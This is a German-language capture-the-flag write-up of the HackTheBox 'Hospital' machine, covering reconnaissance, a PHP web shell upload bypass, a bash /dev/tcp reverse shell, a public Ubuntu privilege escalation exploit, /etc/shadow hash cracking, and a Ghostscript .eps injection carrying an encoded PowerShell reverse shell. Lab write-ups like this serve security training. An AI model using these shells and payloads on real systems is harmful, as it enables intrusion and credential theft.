> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md).

# Hospital-HackTheBox-Lösung

{% embed url="<https://app.hackthebox.com/machines/Hospital>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Web-Aufzählung
* Missbrauch des p0wny-shell-Tools für Datei-/Upload-Vorgänge
* Geschütztes Hash-Passwort knacken
* Datei-Befehlsinjektion vom Typ .eps
* Domänen-Privilegieneskalation
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/264eeb3f9814713bda3987bae58e5ed55fce1748" alt=""><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/e3ba82f1a8b80c093e83255771bc7e816564c455" alt=""><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**/ Offene Ports auflisten und die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis exportieren:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts
```

<figure><img src="/files/252fb512d47094f22aa48e0303142d8c06a7a921" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**/ Mit der extractport-Funktion offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

<figure><img src="/files/1f88fc50f13018c3ade5c3de9496464f1bffa159" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap :**/ Nmap verwenden, um Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted
```

<figure><img src="/files/41608b4b561529e36ae1824e55aa7f3b4673ca8d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f793542584bebda213265cb9fde9fc577aa130e0" alt=""><figcaption></figcaption></figure>

**Identifizierung der Schnittstelle von Port 443**

<figure><img src="/files/7c10b48f397fc7cac3ca2e13fb4a8136c75b0560" alt=""><figcaption></figcaption></figure>

**Identifizierung der Schnittstelle von Port 8080**

<figure><img src="/files/b093bd6e15cd2e9969b26a976b73c70ea5e646f9" alt=""><figcaption></figcaption></figure>

**Benutzererstellung:**

Erstellung eines Benutzers, um möglichen Zugriff auf die Zielmaschine zu ermöglichen

<figure><img src="/files/0655ffa3c0b1486888734f75aa1e7dd6805d5eb2" alt=""><figcaption></figcaption></figure>

## Schwachstelle Datei-Upload:

<figure><img src="/files/c336d945b839a42875afb7b436f2776d9e95193e" alt=""><figcaption></figcaption></figure>

#### Initiale Ausnutzung:

Versuch, eine Datei-Download-Schwachstelle auszunutzen, indem eine schädliche PHP-Datei eingefügt wird

```php
<?php
system($_GET['cmd'];
?>
```

Der Server lehnt Upload-Anfragen für Dateien mit bestimmten Erweiterungen automatisch ab.

<figure><img src="/files/1b2ae8b6c0c354e4f64b7add30b8c4d150cf59d5" alt=""><figcaption></figcaption></figure>

**Abfangen mit Burp Suite:**

Burp Suite verwenden, um den Verkehr abzufangen und zu analysieren, um Betriebsfehler zu verstehen

<figure><img src="/files/a60a23655a9bd279c0ed0afd18395cc360007563" alt=""><figcaption></figcaption></figure>

#### PHP-Erweiterung ändern:

Ändern Sie die Dateierweiterung von `.php` zu `.phar` in `Dateinamen` Variable und stellen Sie sicher, dass der Speicherort erfolgreich akzeptiert wird

<figure><img src="/files/a107ded03f83b1de6dd12b581b9e311c9f8d7618" alt=""><figcaption></figcaption></figure>

**Zusammenfassung der Verzeichnisse:**

Verwendung von Gobuster, um Verzeichnisse auf einem Webserver zu identifizieren und den Speicherort hochgeladener medizinischer Bilder zu finden.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/a94ed4d6d2988d337d6e00b1a6372b09ee49df6a" alt=""><figcaption></figcaption></figure>

#### Datei nicht interpretiert:

Der Inhalt einer a.phar-Datei wird nicht interpretiert.

<figure><img src="/files/2c8eded7d4f853c85a992ea1344b812a1140d5a5" alt=""><figcaption></figcaption></figure>

**GitHub-Tool zum Erstellen einer Shell verwenden:**

Verwendung eines GitHub-Projekttools, um PHP-Download-Beschränkungen zu umgehen und Shell-Zugriff zu erhalten

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/2882f6e563abade62984606954ed858438865697" alt=""><figcaption></figcaption></figure>

**Eine Reverse Shell starten:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'
```

Eine Reverse Shell ausführen, um interaktiven Zugriff auf die Zielmaschine zu erhalten und die vollständige Kontrolle zu erlangen.

<figure><img src="/files/a64471b521da8fa188856ed74525ab6e105d7ce2" alt=""><figcaption></figcaption></figure>

#### Sobald Sie Zugriff auf den Linux-Server haben, sind hier die auszuführenden Befehle für die Terminalbearbeitung:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilegieneskalation (Linux-Server):

**Identifizierung der Betriebssystemversion:**/ Verwenden Sie den `cat /etc/os-release` Befehl, um die Systemversion zu prüfen, und beachten Sie das Vorhandensein einer alten Ubuntu-Version ("23.04").

<figure><img src="/files/3bd94a3e0f1e0d726586843894c42abf5eddedee" alt=""><figcaption></figcaption></figure>

#### **Skript zum Entfernen von Privilegien herunterladen:**

Laden Sie das Skript von [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------)herunter, das Privilegieneskalation ermöglicht:

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="/files/3a8fc728decc51e56663733016426a26a8f7faed" alt=""><figcaption></figcaption></figure>

#### **Hash-Passwörter extrahieren:** Hash-Passwörter extrahieren aus `/etc/shadow` vorhandenen Benutzern.

<figure><img src="/files/b1db25a86e07a92a2644865d9e05bd7d1e9ddbdd" alt=""><figcaption></figcaption></figure>

**Passwort-Knacken:**

Verwenden Sie das Tool John the Ripper mit einer bekannten Wortliste, um Passwörter zu knacken:

```bash
john -w:/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="/files/0794569cfb2262c8ffefd83909c0bb2fdad3bf6a" alt=""><figcaption></figcaption></figure>

## Schwachstelle: .eps-Datei-Injektion

#### Testen Sie die Anmeldedaten auf der über Port 443 erreichbaren Website.

<figure><img src="/files/f7b3daf69e9bde9d19af0491745321ac91fc6b2c" alt=""><figcaption></figcaption></figure>

**Einschränkendes Postfach entdeckt:**

Entdecken Sie ein E-Mail-Postfach, das ein Design im .eps-Format empfangen möchte.

<figure><img src="/files/888f7eb1dec145bee44274c14da818b68a01ae90" alt=""><figcaption></figcaption></figure>

**Ghostscript-Operation über .eps-Datei:**

Verwenden Sie ein [GitHub-Exploit](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) basierend auf [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) um schädlichen Code über eine `.eps` Dateierweiterung.

<figure><img src="/files/94362a74ccf158db5b8e40d7a4f31d784696553e" alt=""><figcaption></figcaption></figure>

#### Verwenden Sie [RevShells](https://www.revshells.com/) um den PowerShell-Payload zu erstellen:

<figure><img src="/files/77399649d32648e8bac35c21a57ec4795ff3291b" alt=""><figcaption></figcaption></figure>

#### Payload in die .eps-Datei injizieren:

Verwenden Sie den Befehl, um den Payload mit der Reverse Shell in die .eps-Datei einzuschleusen.

{% code fullWidth="true" %}

```bash
python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps
```

{% endcode %}

<figure><img src="/files/f1db1d588ea76ef93b293c805e3777cc32d80e4d" alt=""><figcaption></figcaption></figure>

#### Mit rlwrap lauschen:

Die Überwachung mit rlwrap einrichten, um auf eine eingehende Verbindung zu warten.

```bash
rlwrap nc -nlvp 4444
```

#### E-Mail mit schädlicher EPS-Datei senden:

<figure><img src="/files/0cf88ad38f48f94f33732c38247edf419a882a05" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f78fb4425dc00a4ab9ffc087689f0fa25b11f864" alt="" width="563"><figcaption></figcaption></figure>

#### Entdeckung einer ghostscript.bat-Datei:

Entdeckung einer ghostscript.bat-Datei mit dem Passwort von "drbrown": `chr!$br0wn`

<figure><img src="/files/ee2535daafc29e69d21a385cb00966a7c250d10f" alt=""><figcaption></figcaption></figure>

#### Erste Flag user.txt:

Entdeckung und Wiederherstellung der ersten Flag user.txt.

<figure><img src="/files/2955b1dae344d5051a64a3c8f4bcdd7c60200aed" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation Active Directory :

#### Privilegieneskalation durch den Zugriff auf den XAMPP-Webserver.

<figure><img src="/files/230eb4e3af74eafcef387a0430c03d999ab820b0" alt=""><figcaption></figcaption></figure>

#### Eine PHP-Datei erstellen:

Erstellen Sie eine PHP-Datei mit dem Code "this is a test".

```bash
echo "this is a test" > test.php
```

#### Überprüfung des Webservers:

Überprüfen Sie, ob der Webserver die PHP-Datei korrekt einbindet.

<figure><img src="/files/8e40262fa4278e2439d2308f010de2763f550054" alt=""><figcaption></figcaption></figure>

#### Injizieren Sie die PHP-Datei erneut von der [p0wny-shell](https://github.com/flozz/p0wny-shell) Projekt ab:

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<pre class="language-bash"><code class="lang-bash">python3 -m http.server 8080

<strong>wget http://10.10.16.2:8080/shell.php -o shell.php
</strong></code></pre>

<figure><img src="/files/966590ba0a75f10909d0325fa917ac5ec2043632" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9d1c10429de7e6ecbea9336d89ad3872ed5d63f3" alt=""><figcaption></figcaption></figure>

#### Kopieren Sie den [Reverse Shell](https://www.revshells.com/) Payload in das pownyshell-Terminal:

<figure><img src="/files/619e7dbf8defc29910933ae206838a9429d10c6f" alt=""><figcaption></figcaption></figure>

#### Mit rlwrap lauschen:

```bash
rlwrap nc -nlvp 4444
```

### root.txt-Flag erhalten:

<figure><img src="/files/7a96ec64bb885e2d935435c7e1c088f0307eda09" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f8bfd9cec1ed2d05ea4d7e74e5e124d60acd32da" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
